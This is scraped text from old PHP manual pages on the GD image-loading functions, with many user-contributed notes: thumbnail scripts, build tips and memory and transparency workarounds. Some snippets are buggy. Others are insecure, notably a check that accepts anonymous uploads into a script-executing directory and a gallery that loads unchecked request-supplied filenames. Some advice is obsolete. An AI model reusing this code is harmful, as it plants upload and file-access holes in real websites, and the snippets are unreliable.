  if (ereg("jpg",$file) || ereg("gif",$file) || ereg("png",$file)) {
  $files[] = $file;
  }
}
closedir($dh);

if ($show_image) {
  thumbImage($show_image,$big_image_height,$waterMark);
} else if ($thumb_image) {
  thumbImage($thumb_image,$thumb_height,$waterMark);
}
else {
  echo "<center>" . createThumbTable($files,$row_size) . "</center>";
}

function createThumbTable($files,$pics_wide) {
  $row = intval(count($files)/$pics_wide);
  $picIndex = 0;

  $rs = "Mostrando " . count($files) . " imagenes<br>";
  $rs .= "<table border=0 cellspacing=1 cellpadding=0 style='border:1px solid black'>\n";
  for ($i=0; $i <$row; $i++) {
    $rs .= "\t<tr>\n";
    for ($picIndex,$j=0;
     $j < $pics_wide && $picIndex < count($files);
     $j++,$picIndex++) {
      $rs .= "\t\t<td><a href=index.php?show_image=" .
    $files[$picIndex] . ">" .
    "<img src=index.php?thumb_image=" .
      $files[$picIndex] . " border=0 title='Copyright wedoit4you.com'></a></td>\n";
      //$rs .= "<td>i=$i / $j=$picIndex</td>";

    }
    $rs .= "\t</tr>\n";
  }//for
  $rs .= "<tr><td colspan=$pics_wide align=center>Free Thumbnail script by <a href=http://www.wedoit4you.com>wedoit4you.com</a><br>Written by Angel Leon (March 2005)</td></tr></table>\n";

  return $rs;
} //createThumbTable

function thumbImage($file,$img_height,$waterMark) {

  $img_temp = imagecreatefromjpeg($file);

  $black = @imagecolorallocate ($img_temp, 0, 0, 0);
  $white = @imagecolorallocate ($img_temp, 255, 255, 255);

  $font = 2;

  $img_width=imagesx($img_temp)/imagesy($img_temp)*$img_height;
  $img_thumb=imagecreatetruecolor($img_width,$img_height);

  imagecopyresampled($img_thumb,
  $img_temp,0,0,0,0,$img_width,
  $img_height,
  imagesx ($img_temp),
  imagesy($img_temp));

  $originx = imagesx($img_thumb) - 100;
  $originy = imagesy($img_thumb) - 15;

  @imagestring ($img_thumb, $font, $originx + 10, $originy,
              $waterMark, $black);
  @imagestring ($img_thumb, $font, $originx + 11, $originy - 1,
              $waterMark, $white);

  header ("Content-type: image/jpeg");
  imagejpeg($img_thumb, "", 60);

  imagedestroy ($img_thumb);
}

?>
dmf four one fiive at yahoo dot com 02-Mar-2005 04:08
Another thing to note, is the file not might actually be a jpeg , even though the filename ends in .jpg. If this is the case the command won't work. You will need imagecreatefromgif()

The easiest way to check is to use your favorite editor like vi.

On Line one it will tell you if its a gif or a jpg..

I took a quick look at a few image files. the gifs say GIF87a and the real jpegs should say JFIF or something like that.
ceefour -at!- gauldong.net 24-Feb-2005 02:24
I have to say recompiling PHP from the sources and enabling JPEG support in gd took me awhile to figure out.

Somewhere especially configure --help should have stated that --with-jpeg-dir is MANDATORY if you want to have JPEG support. And even if you did so, it doesn't mean you'll get it. If it's wrongly configured, no error is going to be output, all you get is "no JPEG support". What's more confusing is when JPEG support is disabled phpinfo won't say "JPEG Support: disabled", but just omit the entry so you won't even realize something is wrong.

If you recompile PHP or gd, make sure:
- rm -f config.cache FIRST
- make clean (this helps A LOT), actually you can just delete modules/gd.*, and every *.o in ext/gd. this part actually gave me the best headache
- ./configure --with-jpeg-dir=/usr/lib OR any other directory which contains the BINARY library of libjpeg
- make, make install

phpinfo should now display jpeg support... good luck.
(you lucky guys who already have PHP 5 installed on your server... you don't have to go through all the mess I had)
tl at comvironment dot com 24-Feb-2005 01:53
I made a script to produce, save, and use dynamic buttons simultaneously. If the file exists, it will be shown as usual. If not, this script produces a new image and saves it. You only need the background (back.jpg). Maybe it is useful for somone.

<?php

class Button {

    var $ib = 'back.jpg';
    var $im;

    function Button ($fileName, $string) {
        $this -> im = $fileName;
        if(!file_exists($this -> im)) {
            $this -> _createButton($string);
        }
    }

    function getFileName() {
        return $this -> im;
    }

    function _createButton($string) {
        $font  = 4;
        $width  = max(400,(ImageFontWidth($font) * strlen($string)) + 4);
        $height = max(20,(ImageFontHeight($font) + 4));

        $imgBack=ImageCreateFromJPEG($this -> ib);
        $imgText=ImageCreateTrueColor($width,$height);

        $textColor = imagecolorallocate ($imgText,90,90,90);

        ImageCopy($imgText,$imgBack,0,0,0,0,$width,$height);
        ImageString ($imgText,$font,2,2,$string,$textColor);
        ImageJPEG($imgText,$this -> im,85);
        ImageDestroy($imgBack);
        ImageDestroy($imgText);
        chmod ($this -> im,0644);
    }

}

$button = new Button('button.jpg','button text');
echo '<img src="' . $button -> getFileName() . '">';

?>
cs at kainaw dot com 01-Nov-2004 11:09
The ImageCreateFromJPEG() function is capable of throwing an emalloc() error.  If this happens, the script will die, but the error will be in your error logs.  You should ensure that you have memory available before creating a large image from a jpeg file.
webmaster at kautto dot se 25-Oct-2004 03:48
Concerning the path discussion. A relative path works just fine, if it is used properly. The thing is just to keep track of where in the file system you actually are calling the function from.

E.g. including file A into file B, and then executing file A. Now calls made in file B will act as if they actually are made file A, due to the inclusion. So a well designed filesystem is very important. Also moving a file might lead to this type of path related problems.

Hope this made any sence! :)
Jezu 22-Oct-2004 03:36
I have noticed that Nokia's old camera-phones create non-standard JPEG's.

Nokias' JPEG doesn't end with 0xFFD9. Add 0xFFD9 end of file and image works fine with imagecreatefromjpeg(). Willertan1980 already sent code to do that.
dmjoe 15-Jul-2004 04:46
This function DOES accept paths in the filename, just make sure they're absolute paths.  A relative path won't work, at least it didn't for me. This is in response to jonlup's comment from june 25:

"I played with "imagecreatefromjpeg()" function and, after a few tests, I found that the filename that it requires as parameter should be only a simple filename: the function does not work if in the string of the filename is specified a path to that file."
29-Jun-2004 04:55
here is my clear method to resize images
you can check how it works on http://www.jetevents.pl

<?php
   $maxx=100;    // maximum width
   $maxy=75;    // maximum height

   $name=strtolower(substr($_FILES['file']['name'],0,-4)).".jpg";  // name of file - must be jpg
     $size = GetImageSize ($_FILES['file']['tmp_name']);        // params of image

   if ($size[0]>$size[1]) {$sizemin[0]=$maxx;$sizemin[1]=$maxy;};
   if ($size[1]>$size[0]) {$sizemin[0]=$maxy;$sizemin[1]=$maxx;};

   $im=@imagecreatefromjpeg($path);                // path to your gallery
   $small = imagecreatetruecolor($sizemin[0], $sizemin[1]);    // new image
   ImageCopyResampled($small, $im, 0, 0, 0, 0, $sizemin[0], $sizemin[1], $size[0], $size[1]);
   // below is main function resampling image

   ImageDestroy($im);                        // free memory

   if (ImageJPEG($small,$path,100))                // try to save image
       {
       echo "File $path has been written<br>\n";            // success
       echo "size: ".$sizemin[0]."x".$sizemin[1] ."<br>\n";
       }
     else
       {
       echo "<font color=red><b>";                    // failed to write file
       echo "Error ! File has not been written.";
       echo "</b></font><br>\n";
       };

?>
jonlup at yahoo dot com 25-Jun-2004 07:04
I played with "imagecreatefromjpeg()" function and, after a few tests, I found that the filename that it requires as parameter should be only a simple filename: the function does not work if in the string of the filename is specified a path to that file.
The quickest workaround found: do a chdir() to the directory of your image file before try to use "imagecreatefromjpeg()" with your file as parameter.
I did not test the other functions (imagecreatefromgd2(), imagecreatefromgd(), imagecreatefromgif() etc.), but I suppose that they work in the same way.
I think that little trick should be specified in the manual.
Javier Rayon 25-May-2004 11:55
Using imagecreate() combined with imagecreatefromjpeg() in PHP 4.3.0 and up creates wrong color jpeg's.

Use imagecreatetruecolor() instead of imagecreate() for right color images.
Sne 07-Apr-2004 06:02
small script that calculates square (in %) of eche color on the PNG image.

<?
$t1=time();
$im1=ImageCreatefrompng('1.png'); //name of the png file
echo "<img src=1.png>";
$widthIm=ImageSX($im1);
$heightIm=ImageSY($im1);
$total=$widthIm*$heightIm;
$cvcol=imagecolorstotal($im1);
    for ($i=0; $i<$widthIm; $i++){
    for ($j=0; $j<$heightIm; $j++){
    $tochka=imagecolorat($im1,$i,$j);
    $num[$tochka]=$num[$tochka]+1;
    }
    }
echo "<br><br>$widthIm x $heightIm ($total pixels).";
echo " Number of colors in pallette - $cvcol<br><br>
";
echo "<table width=400 border =1>";
for ($k=0; $k<$cvcol; $k++) {
$proc=round($num[$k]/$total*100, 2);
$Palitra =ImageColorsForIndex($im1,$k);
$Palitra[red]= dechex($Palitra[red]);
$Palitra[green]= dechex($Palitra[green]);
$Palitra[blue]= dechex($Palitra[blue]);
echo "<tr><td>$k</td><td width=100>$Palitra[red]-$Palitra[green]-$Palitra[blue]</td>";
echo "<td width=100>$proc %</td>";
echo "<td width=100 bgcolor=$Palitra[red],$Palitra";
echo "[green],$Palitra[blue]>&nbsp;</td></tr>";
}
echo "</table>";
imagedestroy($im1);
$t2=-$t1+time();
echo "<br>Time past: $t2 sec";
?>
jdolecek at NetBSD dot org 24-Feb-2004 04:16
ImageCreateFromJPEG() as of GD 2.0.15 (as bundled with PHP 4.3.4) doesn't handle 4-channel (with alpha channel) JPG images well, the function fails and emits message 'Unsupported color conversion request' to stderr. The solution I found for this is to use NetPBM tools - 'jpegtopnm < orig.jpg | pnmtojpeg > new.jpg' creates a JPG image PHP GD library can open just fine.
willertan1980 at yahoo dot com 20-Aug-2003 04:14
did you found that sometimes it hang the php when imagecreatefromjpeg() run on bad JPEG. I found that this is cause by the JPEG file U used dont have EOI (end of image)
the FF D9 at the end of your JPEG

JPEG image should start with 0xFFD8 and end with 0xFFD9

// this may help to fix the error
function check_jpeg($f, $fix=false ){
# [070203]
# check for jpeg file header and footer - also try to fix it
    if ( false !== (@$fd = fopen($f, 'r+b' )) ){
        if ( fread($fd,2)==chr(255).chr(216) ){
            fseek ( $fd, -2, SEEK_END );
            if ( fread($fd,2)==chr(255).chr(217) ){
                fclose($fd);
                return true;
            }else{
                if ( $fix && fwrite($fd,chr(255).chr(217)) ){return true;}
                fclose($fd);
                return false;
            }
        }else{fclose($fd); return false;}
    }else{
        return false;
    }
}
office at 4point-webdesign dot com 08-Jul-2003 12:47
Here's the answer for your 256 color only problem!!!
use these functions in order then it works fine!

$img_src=imagecreatefromjpeg('yoursource.jpg');
$img_dst=imagecreatetruecolor(20,20);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, 20, 20, 20, 20);
imagejpeg($img_dst, $g_dstfile, 100);
imagedestroy($img_dst);

Greetz, GTB
lordneon at deskmod dot com 23-Jun-2003 02:00
For Windows users who wants to enable the GD libary:

It took me some while to figure this out, but in the end it worked (and still does) great.

1. First download the latest (stable recommended) version of php
2. Unzip to f.ex c:\php\

3. Now you should have a file in c:\php\ that's named php.ini.dist (or something like that). Rename that to php.ini and copy it to the root of you Windows directory.

4. Open the php.ini file (the easiers way is to open the run promnt at your start menu and just type php.ini and hit enter).

5. Search (ctrl+f) for extension_dir. The default value is set to "./", make it to "./extensions"

6. Now you need to find where in the php.ini the modules for Windows is located. Search for gd.

7. Remove the ; char infront of this line: extension=php_gd2.dll

8. Try make a php script with some image functions and see if it works. F.ex $im = imageCreate("test.jpg");
If you get a message that says something like imageCreate function doesn't exist the gd libary is not loaded.

9. That's all. Have fun using GD in Windows :)
atapi103 at hotmail dot com 31-May-2003 01:14
As jpsy sugested Windows users can download the zip to get the gd2_dll extension

OR

If you already installed with the windows installer and are too lazy to get the zip you can go here

http://www.coupin.net/gd-freetype/windows.php

Download the php_gd2.dll file put it wherever you want, and change the

extension_dir=C:\php\extensions

Wherever you saved the dll to is the path you put in, remember to uncomment

extension=php_gd2.dll

Do not uncomment the one above for gd.dll (the one without the 2)
tom at ierna dot com 31-Jan-2003 03:37
Doing a "make clean", regardless of which platform you're on (including MacOS X) should clean up the source tree enough to ensure that config changes take effect...
tuxedobob at mac dot com 15-Jan-2003 10:27
Note for PHP 4.3 under Mac OS X 10.2.3:

I originally compiled using only --with-mysql --with-apxs. When this compiled correctly (for a change; previous versions didn't), I then tried adding --with-gd --with-jpg-dir and a bunch of other goodies, but they didn't add in. Apparently removing config.cache isn't sufficient. My advice is to simply delete the entire folder, and try your new configure command on a clean untarred source folder.
bpiere21 at hotmail dot com 29-Jun-2002 06:57
###--- imagecreatefromjpeg only opens JPEG files from your disk.
###--- To load JPEG images from a URL, use the function below.

function LoadJPEG ($imgURL) {

    ##-- Get Image file from Port 80 --##
    $fp = fopen($imgURL, "r");
    $imageFile = fread ($fp, 3000000);
    fclose($fp);

    ##-- Create a temporary file on disk --##
    $tmpfname = tempnam ("/temp", "IMG");

    ##-- Put image data into the temp file --##
    $fp = fopen($tmpfname, "w");
    fwrite($fp, $imageFile);
    fclose($fp);

    ##-- Load Image from Disk with GD library --##
    $im = imagecreatefromjpeg ($tmpfname);

    ##-- Delete Temporary File --##
    unlink($tmpfname);

    ##-- Check for errors --##
    if (!$im) {
        print "Could not create JPEG image $imgURL";
    }

    return $im;
}

$imageData = LoadJPEG("http://www.example.com/example.jpg");

Header( "Content-Type: image/jpeg");

imagejpeg($imageData, '', 100);
mihkel at raba dot ee 05-Jan-2002 01:00
[Ed Note: You must have netpbm installed for this to work --alindeman @ php.net]

Just wanted to let you know that
imagecreatefromjpeg crashes php
(command line at least) sometimes with segmentation fault when jpeg is corrupted.
To get rid of the nasty segmentation fault i used
system ("jpegtopnm f.jpg > f.pnm", $r);
if ($r != 0) {printf ("invalid jpeg\n"); return; }
system ("pnmtopng f.pnm > f.png");
$im =imagecreatefrompng ("f.png");
jason_wilk at hotmail dot com 01-Oct-2001 10:16
Wow, it only took me 3 hours to get all of the lib paths correct for my install. Some of them are /usr, and some are /usr/lib...go figure. I figured that I would post this in the hopes that it will save somebody some time.

Remember that if you're using rpm installs...you have to install the devel packages. For example, if you're installing mysql from rpm, and you want to compile with support for your particular MySql dist, you must install mysql-devel*.rpm.

Anyway, I'm a redhat 7.1 install...with all appropriate devel packages installed.

./configure \
--with-mysql=/usr \
--with-ftp \
--with-apxs=/home/www/bin/apxs \
--with-xpm-dir=/usr/X11R6 \
--with-gdbm=/usr/lib \
--with-gd=/usr \
--with-zlib-dir=/usr/lib \
--with-jpeg-dir=/usr/lib \
--with-png-dir=/usr/lib \
--with-tiff-dir=/usr/lib \
--with-config-file-path=/home/www/conf \
--with-freetype-dir=/usr/lib \
--enable-magic-quotes \
--enable-track-vars
paul at rainbowzone dot com 28-Aug-2001 12:21
Basta/Justnoone:
GD no longer supports the GIF format due to legal issues with Unisys (they own the patent for LZW compression used in GIF). See the documentation for GD for more details:
http://www.boutell.com/gd/manual1.8.4.html
brett_no_spam at dolphyn dot com 01-Jul-2001 06:56
In the new versions (PHP 4.0.6, GD 2.0.1), ImageCreateFromJPEG() results in a TRUE COLOR image.

In the older versions, you only get 256 colors.
dmsales at design-monster dot com 27-Jun-2001 10:17
I just wanted to note here something i found else where that was very helpful to me when using jpeg images.  when using imagecreatefromjpeg()  it can be difficult to allocate new colors.

The work around i found was posted under imagecolorallocate() and prescribes that you first use imagecreate(), allocate colors, and then copy the jpeg into this image.
infoNOSPAM at psnetworks dot net 08-Apr-2001 09:33
For those having trouble getting jpeg support using gd, make sure you
rm config.cache
before reconfiguring php. Otherwise the configure script will assume jpeg support is still not compiled into gd.
mboucher at ampmedia dot net 19-Feb-2001 04:00
In response to my own post:

Maybe this is common knowledge but here is how I solved my problem. Hopefully this will help out seeing how I couldn't find any other articles on this topic with a solution.

This seems to work pretty well. Displays in browser and QT Picture Viewer but for some reason Photoshop won't open it. Translation error. Since I'm just using it to cache the image for when the our content provider goes down no biggie there.

<?php
$si = fopen($imagePathURL, "r");   // open URL

    $serverImg = fread($si, 1000000);   // read contents

fclose($si);   // close file
?>

/* open file to save to (w+ creates if file does not exist || b opens binary safe [Win32]) Seemed to work fine with out the 'b' on Windows NT but just to be safe. */

<?php
$si = fopen($saveImgTo, "w+b");

    fwrite($si, $serverImg);   // write contents to file

fclose($si);   // close file
?>

Hope this helps somebody...long live PHP
support at corbach dot de 21-Dec-2000 03:46
Wonder why that's just the only image function you can't get to work? Remember that you have to use a gd library that supports JPEG (make it manually and <important>edit the makefile</important>)! Especially all gd RPMs from SuSE (including 7.0) don't support it as it's not default up to gd 1.8.3.
timpie2000 at zeelandnet dot nl 22-Sep-2000 05:52
Be sure to allocate your colors AFTER you used this function or else you might get some strange colors..
rodders_plonker at yahoo dot com 21-Jul-2000 08:49
To all those having trouble with a message to the effect of:
CreateImageFromJpeg() not supported in this PHP build
Start by adding --with-jpeg-dir to your ./configure options as I left this out (not knowing I needed it) and I spent the best part of 6 hours trying to compile to get this option. (RH 6.2, PHP 4.0.1pl2, Apache 1.3.12, GD 1.8.3)
imagecreatefromgif
imagecreatefrompng
GD and Image Functions


Create a new image from file or URL

imagecreatefromjpeg
imagecreatefromstring
GD and Image Functions
PHP Manual

imagecreatefrompng

(PHP 4, PHP 5)

imagecreatefrompng — Create a new image from file or URL

Description

resource imagecreatefrompng ( string $filename )

imagecreatefrompng() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the PNG image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Example to handle an error during loading of a PNG

<?php
function LoadPNG($imgname)
{
    /* Attempt to open */
    $im = @imagecreatefrompng($imgname);

    /* See if it failed */
    if(!$im)
    {
        /* Create a blank image */
        $im  = imagecreatetruecolor(150, 30);
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);

        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/png');

$img = LoadPNG('bogus.image');

imagepng($img);
imagedestroy($img);
?>

The above example will output something similar to:

Notes

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

flood at itnews-bg dot com 29-Sep-2010 03:58
Hey,

I just want to add for those of you who're having problem creating thumbs from png files - when you're using the "imagepng()" function put it in a variable. If you don't put it you'll probably be wondering why you're page will offer you to download itself rather than resizing it.

Example:

<?php
    public function resizeFile($fileInfo)
    {
        $image = $fileInfo['name'];
        $uploadedfile = $fileInfo['full'];

        if ($image) {

            $filename = stripslashes($fileInfo['name']);
            $extension = $fileInfo['ext'];
            $extension = strtolower($extension);

            $size = filesize($fileInfo['full']);

            if ($size > $this->maxSize * 1024) {
                die('You have exceeded the size limit!');
            }

            $uploadedfile = $fileInfo['full'];
            $src = imagecreatefromstring($uploadedfile);

            list($width, $height) = getimagesize($uploadedfile);

            $newwidth = 130;
            $newheight = ($height / $width) * $newwidth;
            $tmp = imagecreatetruecolor($newwidth, $newheight);

            imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

            $filenameThumb = "images/thumbs/" . $fileInfo['name'];

            if($extension == ("jpg" || "jpeg"))
                imagejpeg($tmp, $filenameThumb, 100);
            else if($extension == "png")
                // Disallow png display - this will create an image but won't display it!
                $tmpPng = imagePNG($tmp, $filenameThumb, 100);
            else
                imagegif($tmp, $filenameThumb, 100);

            imagedestroy($src);
            imagedestroy($tmp);
        }
        else
        {
            die("Fatal error.");
        }
    }
?>
admin at wdfa dot co dot uk 17-Apr-2009 03:06
When using imagecreatepng with alpha blending you will lose the blending.

To over come this use something like the following
<?php
$dstimage=imagecreatetruecolor($width,$height);
$srcimage=imagecreatefrompng($src);
imagecopyresampled($dstimage,$srcimage,0,0,0,0, $width,$height,$width,$height);
?>
Where $width and $height are the width and height of the $src image.

This will create a true colour image then copy the png image to this true colour image and retain alpha blending.
CPHaxer 05-Apr-2009 09:23
This PHP-Script checks a Picture of a Sky and tells you how Cloudy it is.

The best thing is, if you enter the Path to a Webcam Picture, which is often updated and where its Webcam is showing [ONLY] the Sky.

BTW: At the Blue_Color Array you can enter the RGB-Values of a Pixel of your Sky. Its optional, but if you enter it, the Analisations will be more prectise.

The Percession Variable controls which Pixels get scanned.
If you have large Pictures, enter a high Number there.

http://pastebin.com/f582d5286

PS: Sorry I need to give you Pastebin Link. The Note is to big else :s
luxian.m [at] gmail [dot] com 16-Sep-2008 05:36
Don't forget about imagealphablending() and imagesavealpha() if you're working with [semi]transparent png.

<?php
$file = 'semitransparent.png'; // path to png image
$img = imagecreatefrompng($file); // open image
imagealphablending($img, true); // setting alpha blending on
imagesavealpha($img, true); // save alphablending setting (important)
?>
anders jenbo pc dk 05-Oct-2007 04:44
Some testing shows that i am able to load images that are 0.8Mpixels with a 8MB memory limit.
anders jenbo pc dk 04-Oct-2007 07:47
This function seams to take up twise the memory when running then the final alocated size.
Memory limit is set to 8M but i get and error saying it tryed to alocate 2288640 and a memory check just befor the function runs sayes that it it at 3106120 witch is only 5.1M, if i change the order of the program and load the png befor the additional 3M is used i have no issues.
marcos at assl-site dot net 28-Feb-2007 12:23
I had the same problem as jboyd1189 at yahoo dot com but I solve d it allocating more memory dynamically.

Usually the memory_limit var on php.ini is set to 8M. Unfortunately, the required amount of memory to manage a PNG image about 1000x1000 could be bigger !

The approach I used to solve the problem is:

1-Calculate the memory required by the image
2-Set the new memory_limit value
3-Create the PNG image and thumbnail
4-Restore the original value

1-The following value works for me:
$required_memory = Round($width * $height * $size['bits']);

Note that for JPEG the requirements are not the same:
http://es2.php.net/manual/en/function.imagecreatefromjpeg.php#60241

2-Use somthing like:
$new_limit=memory_get_usage() + $required_memory;
ini_set("memory_limit", $new_limit);

4-ini_restore ("memory_limit");
dane.tschi _AT_ NOSPAM gmx [dot] at 11-Nov-2006 10:46
I had a problem with PNG files.
My source files were PNG-8 files and i wanted to add some drawings to the Image with alpha blending, but it was not possible only by doing imagecolorallocatealpha() and imagefilledellipse() for example.
I noticed that it was only working for PNG-24 images, but i don't want to use them, because they are to big for my website, but PNG-8 files would be much greater.
My result is that the image has to be converted to PNG-24 after loading and converted back to PNG-8 before saving/output.
This is the script:

<?php
    // Load Image and get it's size
    $size = getimagesize("png8image.png");
    $im = imagecreatefrompng("png8image.png");

    // Convert the Image to PNG-24
    $im_tc = imagecreatetruecolor($size[0],$size[1]);
    imagecopy($im_tc,$im,0,0,0,0,$size[0],$size[1]);
    imagedestroy($im);

    //Now do what ever you want, all alpha-operation do work
    $color = imagecolorallocatealpha ($im_tc,255,255,255,75);
    imagefilledellipse ($im_tc,10,10,6,4,$color);

    //And now convert it back to PNG-8
    $im_result = imagecreate($size[0],$size[1]);
    imagecopy($im_result,$im_tc,0,0,0,0,$size[0],$size[1]);
    imagedestroy($im_tc);

    //And save it
    imagepng($im_result,"png8image.png");
?>
jboyd1189 at yahoo dot com 05-Jul-2006 02:49
I was having a terrible time with the imagecreatefrompng function as it was working perfectly for one image and not at all for another.  After many hours of frustration, I discovered that the problem was the image size (number of pixels).  It appears that the maximum number of pixels this function will process is 1,040,000.  So, be sure that the pixel resolution of the image (eg. 1040 x 1000) does not exceed this value.
alext82 at hotmail dot com 31-May-2006 05:54
I was having trouble with
$black = imagecolorallocate($im, 0, 0, 0);
, as it would always display grey letters.

this solved it however:

$black = imagecolorresolve($im, 0, 0, 0);

this regarding this function.

imagettftext($im, 11, 7, 55, 60, $black, $font, $string);

I hope this helps.
hendrikjan dot vanmeerveld at gmail dot com 01-May-2006 03:23
Another usefull note for those using ImageCreateFromPng:
PHP and GD do not recognize grayscale/alpha images.

So if you use grayscale images with transparency between 0% and 100%, then save the image as RGB.

At least this is true for PHP Version 4.4.2-1 and in 5.1.2-1 with pictures made with GIMP 2.2.8.
ketay [AT] comcast [DOT] net 05-Sep-2005 12:33
A correction... If you are to set it to FALSE, then not only does it add the transparency to wherever you put it, but it takes the transparency out of the TTF files. Setting it to TRUE however, keeps your transparency both in your PNG file, and in any TTF text you make apply to the image.
rf at i---i dot org 02-Nov-2004 03:47
***CORRECTION*** to 07-Jun-2004 01:14
imageAlphaBlending must be false, NOT TRUE

$imgPng = imageCreateFromPng($strImagePath);
imageAlphaBlending($imgPng, false); <<<FALSE
imageSaveAlpha($imgPng, true);
07-Jun-2004 04:14
If you're trying to load a translucent png-24 image but are finding an absence of transparency (like it's black), you need to enable alpha channel AND save the setting. I'm new to GD and it took me almost two hours to figure this out.

<?php
$imgPng = imageCreateFromPng($strImagePath);
imageAlphaBlending($imgPng, true);
imageSaveAlpha($imgPng, true);

/* Output image to browser */
header("Content-type: image/png");
imagePng($imgPng);
?>
csaba at alum dot mit dot edu 31-May-2004 10:57
This is a another case of someone (IE) thinking they know better than you what you want.  If you are of a mind to generate a complicated (read takes a long time) image incrementally, you might do it by having an IFRAME which calls to the image generating PHP script.  That munches for a bit, saves the file, returns to the client (remembering we're in the iframe so the user doesn't see all this) (with appropriate state information in <input type=hidden ...> fields) which kicks off an <body onLoad='docInit()' ...> whose purpose is to set the src attribute of the png image to the saved file (so the user sees the changes), and then resubmit the iframe (the image isn't in the iframe so the iframe can be hidden) to repeat the process.  Very nifty.

However, IE 6 has decided that it is far better to use a cached version of an image even on a local machine, where it can readily see that it changed, rather than to go to the source.  And, since it's a file, you can't so easily set headers on it.  This means that your incremental updates may not show any updates.

I solved this by (1) having Apache rewrite every .png request to a single .php file:
RewriteRule ^(.*).png$ pngPassThru.php?file=$1.png [QSA,L,NC]

(2) All pngPassThru.php does is to return the .png file with "don't cache me" headers.  Avoid leading/trailing spaces in pngPassThru.php.  The headers might be simplified - I've collected them from various sources and am not sure which ones could be eliminated.  But this is working for me on IE 6:
<?php
header("Content-type: image/png");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
$file=@$_GET['file'];
$size= filesize($file);
header("Content-Length: $size bytes");
readfile($file);
?>

Csaba Gabor
aniakovas at yahoo dot co dot uk 27-Apr-2004 06:13
Hey guys,

It has been my experience that the image type of a png file is best set to:-

image/x-png

This may be a peculiarity of the server I'm working on, which is running Apache/FreeBSD

Ania
polak_sg at hotmail dot com 05-Nov-2002 07:02
don't forget to write the header into your function file!!
header ("Content-type: image/png");
wyvern at greywyvern.com 05-Oct-2002 08:45
Make sure when coding image serving scripts that you avoid using the full "http://" URL of the image whenever possible.  Use "../imagename" etc.

Loading URL's from your own site will double your used bandwidth, as the script grabbing the image will count against it as well as sending it to the browser.
robross at comcast dot net 26-Feb-2002 04:47
This color table issue is actually a bit more complicated.

From my testing, it would appear that whatever colors you have specified in the color table for your picture in the first nth number of spots, those colors will automatically be given to the first "n" colors you attempt to use in your CreateImagefromPNG.

So, for example, if you need to create dynamic black and red text in your image, the first three spots in the color table for your background image should be white, black and red (in this order).

This can be a pain, but it is the only way to ensure that your images look as intended in all browsers.
netfiend at mediaone dot net 23-May-2001 04:04
I've noticed a couple of things with the ImageCreateFromPng function that may be useful if your having problems.

1st thing I noticed is that the PNG file you are creating from needs to be indexed and less than 256 colors.

Secondly, you need to reduce the color depth by 1 for each color you plan on generating in php...  I.E.  if you plan on drawing 50 different colors on the screen with php you need to allocate space for them by reducing the origional image's color depth to 205 colors (I was pulling my hair out on this one for a while because the wrong colors were showing up in the output).

Also, if you are saving the image as a PNG you need to allocate the 1st color as white.. The reason for this is that Internet Explorer seems to interpret the first color in an indexed PNG as white no matter what color it is... (Figured this out when all my pretty black text was turning up as white in I.E. and was normal in Netscape; allocated the first color in the image as white and the problem went away.)

-- hope this helps.
imagecreatefromjpeg
imagecreatefromstring
GD and Image Functions


Create a new image from the image stream in the string

imagecreatefrompng
imagecreatefromwbmp
GD and Image Functions
PHP Manual

imagecreatefromstring

(PHP 4 >= 4.0.4, PHP 5)

imagecreatefromstring — Create a new image from the image stream in the string

Description

resource imagecreatefromstring ( string $data )

imagecreatefromstring() returns an image identifier representing the image obtained from the given data. These types will be automatically detected if your build of PHP supports them: JPEG, PNG, GIF, WBMP, and GD2.

Parameters

image

A string containing the image data.

Return Values

An image resource will be returned on success. FALSE is returned if the image type is unsupported, the data is not in a recognised format, or the image is corrupt and cannot be loaded.

Examples

Example #1 imagecreatefromstring() example

<?php
$data = 'iVBORw0KGgoAAAANSUhEUgAAABwAAAASCAMAAAB/2U7WAAAABl'
       . 'BMVEUAAAD///+l2Z/dAAAASUlEQVR4XqWQUQoAIAxC2/0vXZDr'
       . 'EX4IJTRkb7lobNUStXsB0jIXIAMSsQnWlsV+wULF4Avk9fLq2r'
       . '8a5HSE35Q3eO2XP1A1wQkZSgETvDtKdQAAAABJRU5ErkJggg==';
$data = base64_decode($data);

$im = imagecreatefromstring($data);
if ($im !== false) {
    header('Content-Type: image/png');
    imagepng($im);
    imagedestroy($im);
}
else {
    echo 'An error occurred.';
}
?>

The above example will output something similar to:

Output of example : imagecreatefromstring()

See Also

  • imagecreatefromjpeg() - Create a new image from file or URL
  • imagecreatefrompng() - Create a new image from file or URL
  • imagecreatefromgif() - Create a new image from file or URL
  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

hope at it-helps dot com 26-May-2011 04:29
Create an image resource from file, without knowing image type:

<?php
function imagecreatefromfile($imagepath=false) {
    if(!$imagepath || !$is_readable($imagepath) return false;
    return @imagecreatefromstring(file_get_contents($imagepath));
}
$img_resource=imagecreatefromfile($imagepath);
?>
php dot net at phor dot net 25-Oct-2009 11:12
My site allows anonymous uploads to a web-accessible location (that will execute a script if it finds one).

Naturally, I need to verify that only harmless content is accepted. I am expecting only images, so I use:

<?php
  $im = $imagecreatefromstring($USERFILE);
  $valid = ($im != FALSE);
  imagedestroy($im);
  return $valid;
?>
logan at logansbailey dot com 10-Aug-2009 06:00
So you guys don't spend an hour trying to figure out why your script keeps running out of memory when you're using this or the other imagecreatefrom functions.  GD uncompresses the image when you use these functions, and this can lead to your script running out of memory.

If you download a rawimage save it on your computer to jpeg so the file size comes down, GD will automatically convert it to the raw and you can possibly run out of memory.
ville dot jungman at gmail dot com 24-Sep-2008 02:01
